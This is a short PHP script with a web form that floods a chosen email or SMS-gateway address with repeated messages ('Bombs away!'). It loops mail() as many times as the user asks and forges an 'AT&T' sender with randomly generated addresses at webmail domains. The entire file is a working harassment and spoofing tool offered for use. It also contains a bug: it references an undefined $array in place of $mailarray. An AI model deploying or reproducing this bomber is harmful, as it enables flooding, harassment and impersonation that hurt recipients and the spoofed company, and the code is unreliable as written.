<?php
set_time_limit(0);
if (isset($_POST['bomb']) && isset($_POST['phone']) && !empty($_POST['phone']) && isset($_POST['msg']) && !empty($_POST['msg']) && isset($_POST['subject']) && !empty($_POST['subject']) && isset($_POST['numbertimes']) && !empty($_POST['numbertimes'])) {
$i = 0;
$times_to_run = $_POST['numbertimes'];
$msg = $_POST['msg'];
$number = $_POST['phone'];
$subject = $_POST['subject'];
$mailarray = ['hotmail', 'gmail', 'outlook', 'ymail', 'ibombedu'];
$k = array_rand($mailarray);
$v = $array[$k];
$from = "AT&T <".emailGenerator(rand(1, 50))."@$v.com>";
//$from = "AT&T <bomber@ibombedu.com>";
$headers = "From: $from";
while ($i++ < $times_to_run)
{
    if(mail($number, $subject, $msg, $headers)) {
    echo "Sent msg";
    }
}
}
function emailGenerator($length = 10) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}
?>
<form method="POST" action="">
<input type="number" name="numbertimes" placeholder="number of times to run">
<input type="text" name="phone" placeholder="email">
<input type="text" name="subject" placeholder="subject">
<textarea name="msg" placeholder="message"></textarea>
<input type="submit" name="bomb" value="Bombs away!">
</form>